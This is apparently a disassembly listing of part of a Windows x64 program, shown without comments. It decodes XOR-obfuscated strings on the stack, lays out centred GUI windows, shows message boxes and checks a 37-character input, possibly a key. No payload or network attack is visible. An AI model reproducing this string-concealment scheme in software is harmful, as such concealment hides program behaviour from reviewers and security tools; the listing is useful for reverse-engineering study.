mov qword [rbp + 0x2f48], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x2f30]
pxor xmm0, xmmword [rbp + 0x2ef0]
movdqa xmmword [rbp + 0x53c0], xmm0
movdqa xmm1, xmmword [rbp + 0x2f40]
pxor xmm1, xmmword [rbp + 0x2f00]
movdqa xmmword [rbp + 0x53d0], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x53e0], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x53f0], xmm3
lea rax, [rbp + 0x111d0]
lea rcx, [rbp + 0x53c0]
mov edx, 4
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006d430
lea r9d, [rdx + 0x10]
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x111d0]
mov rcx, qword [0x1402007e8]
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r13d
call fcn.140089430
mov dword [rbp + 0x328], 0x40400000
mov dword [rbp + 0x32c], 0x43020000
lea rcx, [rbp + 0x328]
call fcn.14008d5f0
movss xmm0, dword [0x1401ffa40]
mulss xmm0, xmm11
subss xmm0, dword [0x1401140a8]
movss dword [rbp + 0x330], xmm0
mov dword [rbp + 0x334], 0x41b00000
movabs rax, 0xadbd7fa9aa3e5c5
mov qword [rbp + 0xd40], rax
movabs rsi, 0x170f740a28268526
mov qword [rbp + 0xd48], rsi
movabs rax, 0xadbb89cf4eac6e6
mov qword [rbp + 0xd50], rax
mov qword [rbp + 0xd58], rsi
movdqa xmm0, xmmword [rbp + 0xd40]
pxor xmm0, xmmword [rbp + 0xd50]
movaps xmmword [rbp + 0x4070], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x4080], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x4090], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x40a0], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x40b0], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x40c0], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x40d0], xmm0
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x4070]
call fcn.140076750
lea rcx, [rbp + 0x12f8]
call fcn.140082780
movss xmm6, dword [rax]
movabs rax, 0x1d0ea35317a612f2
mov qword [rbp + 0x2f70], rax
movabs rax, 0x4af076dcf7c938e1
mov qword [rbp + 0x2f78], rax
mov qword [rbp + 0x2f80], 0x7475030
mov qword [rbp + 0x2f88], 0xfffffffff73a8257
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6b2ed13673c77dbe
mov qword [rbp + 0x2fb0], rax
movabs rax, 0x70d018b39eba4a84
mov qword [rbp + 0x2fb8], rax
mov qword [rbp + 0x2fc0], 0x7477010
mov qword [rbp + 0x2fc8], 0xfffffffff73a8257
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x2fb0]
pxor xmm0, xmmword [rbp + 0x2f70]
movdqa xmmword [rbp + 0x14e0], xmm0
movdqa xmm1, xmmword [rbp + 0x2fc0]
pxor xmm1, xmmword [rbp + 0x2f80]
movdqa xmmword [rbp + 0x14f0], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x1500], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x1510], xmm3
lea rax, [rbp + 0xe960]
lea rcx, [rbp + 0x14e0]
mov edx, 2
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006d680
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movss dword [rsp + 0x20], xmm12
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xe960]
lea rcx, [rbp + 0x1300]
call fcn.1400780a0
subss xmm6, dword [rax]
mulss xmm6, xmm11
movss dword [rbp + 0x338], xmm6
mov dword [rbp + 0x33c], 0x40800000
lea rcx, [rbp + 0x338]
call fcn.14008d5f0
lea rcx, [0x1401ffb08]
call fcn.14005a470
mov rbx, rax
movabs rax, 0x1856ad9ca4b4ee1d
mov qword [rbp + 0x2ff0], rax
movabs rax, 0x46f1d51e44bf9505
mov qword [rbp + 0x2ff8], rax
movabs rax, 0x8c7cd17384
mov qword [rbp + 0x3000], rax
movabs rdi, 0x70a36c7892a
mov qword [rbp + 0x3008], rdi
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6e76dff9c0d58151
mov qword [rbp + 0x3030], rax
movabs rax, 0x7cd1bb712dcce760
mov qword [rbp + 0x3038], rax
movabs rax, 0x8c7ca256a4
mov qword [rbp + 0x3040], rax
mov qword [rbp + 0x3048], rdi
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x3030]
pxor xmm0, xmmword [rbp + 0x2ff0]
movdqa xmmword [rbp + 0x8150], xmm0
movdqa xmm1, xmmword [rbp + 0x3040]
pxor xmm1, xmmword [rbp + 0x3000]
movdqa xmmword [rbp + 0x8160], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x8170], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x8180], xmm3
lea rax, [rbp + 0xe6f0]
lea rcx, [rbp + 0x8150]
mov edx, 2
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006d830
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm2, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm2
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm2, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm2
movss xmm0, dword [0x140114074]
movss dword [rsp + 0x20], xmm0
movaps xmm3, xmm10
movaps xmm2, xmm10
movaps xmm1, xmm10
lea rcx, [rbp + 0x5020]
call fcn.140009b30
mov r8, rbx
lea rdx, [rbp + 0xe6f0]
mov rcx, rax
call fcn.1400ae890
call fcn.14007f260
call fcn.14007f260
call fcn.1400892e0
mov ecx, r13d
call fcn.140089430
mov ecx, r13d
call fcn.140089480
call fcn.14007ef40
movss xmm8, dword [0x140114078]
jmp 0x14006d919
movss xmm12, dword [0x1401140f8]
movss xmm11, dword [0x140114070]
movss xmm9, dword [0x14011407c]
cmp byte [0x1402007a2], 0
je 0x14006e595
mov qword [rbp + 0x340], 0
mov ecx, r13d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x8c
movd xmm6, eax
cvtdq2ps xmm6, xmm6
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x12c
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x348], xmm0
movss dword [rbp + 0x34c], xmm6
lea r8, [rbp + 0x340]
mov edx, 8
lea rcx, [rbp + 0x348]
call fcn.14008d7f0
xor edx, edx
lea rcx, [0x1401ffa48]
call fcn.14008d840
mov qword [rbp + 0x350], 0
lea rdx, [rbp + 0x350]
mov ecx, r13d
call fcn.140089ce0
movabs rax, 0x1b9ba40d1b3d27bf
mov qword [rbp + 0x2790], rax
movabs rax, 0xd23e7a272d74f03
mov qword [rbp + 0x2798], rax
xorps xmm1, xmm1
movabs rcx, 0x1befc568737e049c
mov qword [rbp + 0x27b0], rcx
mov qword [rbp + 0x27b8], rax
xorps xmm2, xmm2
movdqa xmm0, xmmword [rbp + 0x27b0]
pxor xmm0, xmmword [rbp + 0x2790]
pxor xmm2, xmm1
movaps xmmword [rbp + 0x4b60], xmm0
movaps xmmword [rbp + 0x4b70], xmm2
movaps xmm0, xmmword [rbp + 0x860]
movaps xmmword [rbp + 0x4b80], xmm0
movaps xmm0, xmmword [rbp + 0x870]
movaps xmmword [rbp + 0x4b90], xmm0
movaps xmm0, xmmword [rbp + 0x880]
movaps xmmword [rbp + 0x4ba0], xmm0
movaps xmm0, xmmword [rbp + 0x890]
movaps xmmword [rbp + 0x4bb0], xmm0
movaps xmm0, xmmword [rbp + 0x8a0]
movaps xmmword [rbp + 0x4bc0], xmm0
movaps xmm0, xmmword [rbp + 0x8b0]
movaps xmmword [rbp + 0x4bd0], xmm0
xor edx, edx
mov r8d, Ordinal_301
lea rcx, [rbp + 0x4b60]
call fcn.140073dd0
call fcn.140082730
mov rsi, rax
movss dword [rsp + 0x20], xmm9
movaps xmm3, xmm9
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0x5010]
call fcn.140009b30
mov rcx, rax
call fcn.140078ff0
mov edi, eax
mov dword [rbp + 0x358], 0x3f800000
mov dword [rbp + 0x35c], 0x3f800000
mov qword [rbp + 0x360], 0
lea rcx, [rbp + 0x1308]
call fcn.140082780
mov rbx, rax
lea rcx, [rbp + 0x1310]
call fcn.140082760
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1318]
call fcn.14000c6a0
mov rbx, rax
lea rcx, [rbp + 0x1320]
call fcn.140082760
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0x358]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x360]
mov qword [rsp + 0x20], rcx
mov r9, rbx
mov r8, rax
mov rdx, qword [rbp + 0x14570]
mov rcx, rsi
call fcn.140093a60
mov qword [rbp + 0x368], 0
lea rcx, [rbp + 0x368]
call fcn.14008d5f0
movaps xmm8, xmm13
divss xmm8, xmm14
movss xmm10, dword [0x14011406c]
movss dword [rsp + 0x20], xmm10
xorps xmm3, xmm3
xorps xmm2, xmm2
movaps xmm1, xmm8
lea rcx, [rbp + 0x5000]
call fcn.140009b30
mov rcx, rax
call fcn.140078ff0
mov edx, eax
mov ecx, 5
call fcn.140089c10
movss xmm0, dword [0x1401ffa48]
movss dword [rbp + 0x370], xmm0
mov dword [rbp + 0x374], 0x41f00000
movabs rax, 0x19002d026d21b49e
mov qword [rbp + 0x3070], rax
movabs rax, 0x2ab3c439339efaa8
mov qword [rbp + 0x3078], rax
movabs rsi, 0x1fffffffe0000000
mov qword [rbp + 0x3080], rsi
movabs rax, 0xe0000000200b2a34
mov qword [rbp + 0x3088], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rcx, 0x57744c67056297bd
mov qword [rbp + 0x30b0], rcx
movabs rcx, 0x46d6aa5863fb97c9
mov qword [rbp + 0x30b8], rcx
mov qword [rbp + 0x30c0], rsi
mov qword [rbp + 0x30c8], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x3070]
pxor xmm0, xmmword [rbp + 0x30b0]
movdqa xmmword [rbp + 0x70b0], xmm0
movdqa xmm1, xmmword [rbp + 0x3080]
pxor xmm1, xmmword [rbp + 0x30c0]
movdqa xmmword [rbp + 0x70c0], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x70d0], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70e0], xmm5
lea rax, [rbp + 0xdb20]
lea rcx, [rbp + 0x70b0]
mov edx, 2
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006dca0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0xdb20]
call fcn.140076750
lea rcx, [rbp + 0x1328]
call fcn.140082780
movss xmm7, dword [rax]
lea rcx, [rbp + 0x4f80]
call fcn.1400514c0
mov rcx, rax
call fcn.14005a470
mov rdx, rax
movss xmm12, dword [0x1401140f8]
movss dword [rsp + 0x20], xmm12
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x1330]
call fcn.1400780a0
movss xmm6, dword [rax]
lea rcx, [rbp + 0x4f80]
call fcn.14000b160
subss xmm7, xmm6
movss xmm11, dword [0x140114070]
mulss xmm7, xmm11
movss dword [rbp + 0x378], xmm7
mov dword [rbp + 0x37c], 0x40e00000
lea rcx, [rbp + 0x378]
call fcn.14008d5f0
lea rcx, [rbp + 0x4f30]
call fcn.1400514c0
mov rcx, rax
call fcn.14005a470
mov rbx, rax
movss dword [rsp + 0x20], xmm9
movaps xmm3, xmm8
movaps xmm2, xmm8
movss xmm1, dword [0x140114078]
lea rcx, [rbp + 0x4f70]
call fcn.140009b30
mov rdx, rbx
mov rcx, rax
call fcn.1400ae890
lea rcx, [rbp + 0x4f30]
call fcn.14000b160
movss xmm0, dword [0x1401ffa48]
subss xmm0, xmm15
movss dword [rbp + 0x380], xmm0
mov dword [rbp + 0x384], 0x40c00000
lea rcx, [rbp + 0x380]
call fcn.14008d5f0
call fcn.14007f260
movss xmm0, dword [0x1401ffa48]
mulss xmm0, xmm11
movss xmm6, dword [0x1401140dc]
subss xmm0, xmm6
movss dword [rbp + 0x388], xmm0
mov dword [rbp + 0x38c], 0x42540000
lea rcx, [rbp + 0x388]
call fcn.14008d5f0
movss xmm0, dword [0x1401140ec]
call fcn.140089a90
movabs rax, 0x5cb32ad388a7c4d
mov qword [rbp + 0xd60], rax
movabs rax, 0xaed290a95072347
mov qword [rbp + 0xd68], rax
movabs rcx, 0x5cb57c957c95f6e
mov qword [rbp + 0xd70], rcx
mov qword [rbp + 0xd78], rax
movdqa xmm0, xmmword [rbp + 0xd70]
pxor xmm0, xmmword [rbp + 0xd60]
movaps xmmword [rbp + 0x40e0], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x40f0], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x4100], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x4110], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x4120], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x4130], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x4140], xmm0
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8d, [r9 + 0x26]
lea rdi, [0x1402007c0]
mov rdx, rdi
lea rcx, [rbp + 0x40e0]
call fcn.1400a7ae0
mov rax, qword [r14 + 0xa0]
mov rcx, qword [rax + 0x48]
mov rcx, qword [rcx + 0x10]
call fcn.140089770
movss dword [rsp + 0x20], xmm11
movaps xmm3, xmm10
movaps xmm2, xmm10
movaps xmm1, xmm10
lea rcx, [rbp + 0x4fe0]
call fcn.140009b30
mov rdx, rax
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140089bb0
movss xmm0, dword [0x1401ffa48]
mulss xmm0, xmm11
subss xmm0, xmm6
movss dword [rbp + 0x390], xmm0
mov dword [rbp + 0x394], 0x42a60000
lea rcx, [rbp + 0x390]
call fcn.14008d5f0
mov dword [rbp + 0x398], 0x42480000
mov dword [rbp + 0x39c], 0x41b00000
movabs rax, 0x12b3b87159a13b27
mov qword [rbp + 0xd80], rax
movabs rax, 0x3e18434192b2817
mov qword [rbp + 0xd88], rax
movabs rcx, 0x12b3d31238e31b1b
mov qword [rbp + 0xd90], rcx
mov qword [rbp + 0xd98], rax
movdqa xmm0, xmmword [rbp + 0xd80]
pxor xmm0, xmmword [rbp + 0xd90]
movaps xmmword [rbp + 0x4850], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x4860], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x4870], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x4880], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x4890], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x48a0], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x48b0], xmm0
lea rdx, [rbp + 0x398]
lea rcx, [rbp + 0x4850]
call fcn.1400a5fd0
test al, al
je 0x14006e160
movabs rax, 0xeba9d5e1434d98c
mov qword [rbp + 0x2a90], rax
movabs rax, 0x7b85b2be0c856e2a
mov qword [rbp + 0x2a98], rax
xorps xmm2, xmm2
movabs rax, 0x61d9bd2c7140b7c9
mov qword [rbp + 0x2ab0], rax
movabs rax, 0x7b85b2be0c850b4e
mov qword [rbp + 0x2ab8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x2a90]
pxor xmm0, xmmword [rbp + 0x2ab0]
movdqa xmmword [rbp + 0x77c0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x77d0], xmm2
lea rcx, [rbp + 0xf0]
lea rax, [rbp + 0x77c0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
lea rdx, [rbp + 0xf0]
lea rcx, [0x1401ffb28]
call fcn.14000c1a0
mov dword [0x1402007a4], 0
mov byte [0x1402007a0], 0
mov byte [0x1402007a1], 0
mov byte [0x1402007a2], 0
movss xmm0, dword [0x1401ffa48]
mulss xmm0, xmm11
subss xmm0, dword [0x1401140d0]
movss dword [rbp + 0x3a0], xmm0
mov dword [rbp + 0x3a4], 0x42a60000
lea rcx, [rbp + 0x3a0]
call fcn.14008d5f0
mov dword [rbp + 0x3a8], 0x43340000
mov dword [rbp + 0x3ac], 0x41b00000
movabs rax, 0x1a693f04d75553ae
mov qword [rbp + 0x2a10], rax
movabs rsi, 0x6f0b05c9a060f482
mov qword [rbp + 0x2a18], rsi
xorps xmm2, xmm2
movabs rax, 0x7f1d5e72be2130ef
mov qword [rbp + 0x2a30], rax
mov qword [rbp + 0x2a38], rsi
xorps xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0x2a10]
pxor xmm1, xmmword [rbp + 0x2a30]
pxor xmm2, xmm0
movaps xmmword [rbp + 0x4e10], xmm1
movaps xmmword [rbp + 0x4e20], xmm2
movaps xmm0, xmmword [rbp + 0x690]
movaps xmmword [rbp + 0x4e30], xmm0
movaps xmm0, xmmword [rbp + 0x6a0]
movaps xmmword [rbp + 0x4e40], xmm0
movaps xmm0, xmmword [rbp + 0x6b0]
movaps xmmword [rbp + 0x4e50], xmm0
movaps xmm0, xmmword [rbp + 0x6c0]
movaps xmmword [rbp + 0x4e60], xmm0
movaps xmm0, xmmword [rbp + 0x6d0]
movaps xmmword [rbp + 0x4e70], xmm0
movaps xmm0, xmmword [rbp + 0x6e0]
movaps xmmword [rbp + 0x4e80], xmm0
movaps xmm0, xmmword [rbp + 0x6f0]
movaps xmmword [rbp + 0x4e90], xmm0
lea rdx, [rbp + 0x3a8]
lea rcx, [rbp + 0x4e10]
call fcn.1400a5fd0
test al, al
je 0x14006e3e5
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rdi + rax], 0
jne 0x14006e290
cmp rax, 0x25
jne 0x14006e3e5
call fcn.14000cce0
test al, al
je 0x14006e2d4
mov byte [0x1402007a2], 0
cmp dword [0x140200788], 1
jne 0x14006e2c8
mov byte [0x1402007a1], 1
jmp 0x14006e3e5
mov byte [0x1402007a0], 1
jmp 0x14006e3e5
movabs rax, 0x680d237e06dff98
mov qword [rbp + 0x29d0], rax
movabs rax, 0x6d806bb6a110c4f7
mov qword [rbp + 0x29d8], rax
xorps xmm2, xmm2
movabs rax, 0x63e4bb5b811b91d1
mov qword [rbp + 0x29f0], rax
movabs rax, 0x6d804ad3c57f87d7
mov qword [rbp + 0x29f8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x29d0]
pxor xmm0, xmmword [rbp + 0x29f0]
movdqa xmmword [rbp + 0x9350], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x9360], xmm2
lea rcx, [rbp + 0xbe90]
lea rax, [rbp + 0x9350]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rdx, [rbp + 0xbe90]
lea rcx, [0x1401ffb28]
call fcn.14000c1a0
mov rax, qword [r14 + 0xa0]
mov rcx, qword [rax + 0x48]
mov rcx, qword [rcx + 0x10]
call fcn.140089770
movss xmm0, dword [0x1401ffa48]
mulss xmm0, xmm11
subss xmm0, xmm6
movss dword [rbp + 0x3b0], xmm0
mov dword [rbp + 0x3b4], 0x420c0000
lea rcx, [rbp + 0x3b0]
call fcn.14008d5f0
lea rcx, [0x1401ffb28]
call fcn.14005a470
mov rbx, rax
movss dword [rsp + 0x20], xmm9
movaps xmm3, xmm8
movaps xmm2, xmm8
movss xmm8, dword [0x140114078]
movaps xmm1, xmm8
lea rcx, [rbp + 0x4fd0]
call fcn.140009b30
mov rdx, rbx
mov rcx, rax
call fcn.1400ae890
call fcn.1400892e0
movss xmm0, dword [0x1401ffa48]
mulss xmm0, xmm11
addss xmm0, dword [0x1401140cc]
movss dword [rbp + 0x3b8], xmm0
mov dword [rbp + 0x3bc], 0x42aa0000
lea rcx, [rbp + 0x3b8]
call fcn.14008d5f0
movabs rax, 0x33c35ed2ccd5f22
mov qword [rbp + 0x2990], rax
movabs rdi, 0x6a742808bb589a37
mov qword [rbp + 0x2998], rdi
xorps xmm2, xmm2
movabs rax, 0x7a597ecd49bb3e71
mov qword [rbp + 0x29b0], rax
mov qword [rbp + 0x29b8], rdi
xorps xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0x2990]
pxor xmm1, xmmword [rbp + 0x29b0]
pxor xmm2, xmm0
movaps xmmword [rbp + 0x670], xmm1
movaps xmmword [rbp + 0x680], xmm2
movaps xmm0, xmmword [rbp + 0x690]
movaps xmmword [rbp + 0x690], xmm0
movaps xmm0, xmmword [rbp + 0x6a0]
movaps xmmword [rbp + 0x6a0], xmm0
movaps xmm0, xmmword [rbp + 0x6b0]
movaps xmmword [rbp + 0x6b0], xmm0
movaps xmm0, xmmword [rbp + 0x6c0]
movaps xmmword [rbp + 0x6c0], xmm0
movaps xmm0, xmmword [rbp + 0x6d0]
movaps xmmword [rbp + 0x6d0], xmm0
movaps xmm0, xmmword [rbp + 0x6e0]
movaps xmmword [rbp + 0x6e0], xmm0
movaps xmm0, xmmword [rbp + 0x6f0]
movaps xmmword [rbp + 0x6f0], xmm0
lea rdx, [0x1402007a3]
lea rcx, [rbp + 0x670]
call fcn.1400a6810
call fcn.1400892e0
mov ecx, r13d
call fcn.140089430
mov ecx, r13d
call fcn.140089480
call fcn.14007ef40
jmp 0x14006e59e
movss xmm10, dword [0x14011406c]
cmp byte [0x1402007a1], 0
je 0x14006f445
mov qword [rbp + 0x3c0], 0
mov ecx, r13d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x8c
movd xmm6, eax
cvtdq2ps xmm6, xmm6
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x12c
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x3c8], xmm0
movss dword [rbp + 0x3cc], xmm6
lea r8, [rbp + 0x3c0]
mov edx, 8
lea rcx, [rbp + 0x3c8]
call fcn.14008d7f0
xor edx, edx
lea rcx, [0x1401ffa48]
call fcn.14008d840
mov qword [rbp + 0x3d0], 0
lea rdx, [rbp + 0x3d0]
mov ecx, r13d
call fcn.140089ce0
movabs rax, 0x1eb4a97bbaf9ff5c
mov qword [rbp + 0x2950], rax
movabs rax, 0x171bc4e1d553ddb9
mov qword [rbp + 0x2958], rax
xorps xmm2, xmm2
movabs rcx, 0x1ec0c81ed2badc7f
mov qword [rbp + 0x2970], rcx
mov qword [rbp + 0x2978], rax
xorps xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0x2950]
pxor xmm1, xmmword [rbp + 0x2970]
pxor xmm2, xmm0
movaps xmmword [rbp + 0x4be0], xmm1
movaps xmmword [rbp + 0x4bf0], xmm2
movaps xmm0, xmmword [rbp + 0x860]
movaps xmmword [rbp + 0x4c00], xmm0
movaps xmm0, xmmword [rbp + 0x870]
movaps xmmword [rbp + 0x4c10], xmm0
movaps xmm0, xmmword [rbp + 0x880]
movaps xmmword [rbp + 0x4c20], xmm0
movaps xmm0, xmmword [rbp + 0x890]
movaps xmmword [rbp + 0x4c30], xmm0
movaps xmm0, xmmword [rbp + 0x8a0]
movaps xmmword [rbp + 0x4c40], xmm0
movaps xmm0, xmmword [rbp + 0x8b0]
movaps xmmword [rbp + 0x4c50], xmm0
xor edx, edx
mov r8d, Ordinal_301
lea rcx, [rbp + 0x4be0]
call fcn.140073dd0
call fcn.140082730
mov rsi, rax
movss dword [rsp + 0x20], xmm9
movaps xmm3, xmm9
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0x4fc0]
call fcn.140009b30
mov rcx, rax
